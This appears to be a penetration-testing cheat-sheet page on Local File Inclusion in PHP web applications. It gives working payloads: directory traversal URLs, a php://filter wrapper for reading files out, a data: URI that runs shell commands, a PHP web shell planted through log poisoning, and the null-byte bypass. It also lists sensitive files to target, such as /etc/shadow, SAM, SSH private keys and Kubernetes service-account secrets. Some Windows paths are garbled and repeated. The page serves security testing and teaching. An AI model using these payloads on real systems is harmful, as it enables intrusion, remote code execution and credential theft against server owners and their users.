Local File Inclusion (LFI)
Last updated
Last updated
A local file inclusion (LFI) vulnerability is the process of including files that are locally present on the target server, through exploitation of vulnerable inclusion procedures implemented in the application.
Local file inclusion vulnerabilites occur when a page receives the path to the file that has to be included as input, which is not properly sanitized, allowing directory traversal characters to be injected.
The most basic form of a exploiting a LFI vulnerability looks like the following:
https://mysecureserver.com/file.php?target=../../../../../etc/passwdIf we want to get a file, it is best to base64 encode it. This will ensure that we can exfiltrate files rather than the server excuting the file. This can be accomplished with the following command:
php://filter/convert.base64-encode/resource=$fileAdditionally, the following command demonstrates how we could execute code with the shell_exec function:
data:text/plain,<?php echo shell_exec("whoami") ?>This section lists common files to look for when testing for Local File Inclusion, I have linked additional lists in the 'References' section.
/etc/issue
/proc/version
/etc/profile
/etc/passwd
/etc/passwd
/etc/shadow
/root/.bash_history
/var/log/dmessage
/var/mail/root
/var/spool/cron/crontabs/root%SYSTEMROOT%repairsystem
%SYSTEMROOT%repairSAM
%WINDIR%win.ini
%SYSTEMDRIVE%boot.ini
%WINDIR%Panthersysprep.inf
%WINDIR%system32configAppEvent.Evt%SYSTEMROOT%repairsystem
%SYSTEMROOT%repairSAM
%SYSTEMROOT%repairSAM
%WINDIR%win.ini
%SYSTEMDRIVE%boot.ini
%WINDIR%Panthersysprep.inf
%WINDIR%system32configAppEvent.EvtLog Injection / Log Poisoning is a technique used to obtain a reverse shell from a LFI vulnerability. In order to make this attack work, an attacker will attempt to inject a malicious payload into the server log.
If we are able to access server logs such as /var/log/apache2/access.log we can modify our User-Agent to be a malicious payload which could result in us obtaining remote code execution.
# Sample PHP Payload
<?php system($_GET['c']); ?>After injecting the payload, we can access it via the following URL:
https://$url/var/log/httpd&c=whoamiSometimes during Local File Inclusion, the web server may append something like .php or .config to the file. For example, including /etc/passwd may be rendered as /etc/passwd.php. This occurs when the include function uses a parameter like ?page and concatenates the .php extension to the file. In versions of PHP below 5.3, ending the URL with a null byte (%00) will cause the interpreter to stop reading, this would then allow you to include and view the intended page.
If you have identified LFI impacting a Linux host, you may be able to access the .ssh/id_rsa file of identified users. These are easily identified from reading the contents of the /etc/passwd file.
If you have identified an LFI vulnerability, try and read /var/run/secrets/kubernetes.io/serviceaccount to see if you can harvest Kubernetes information.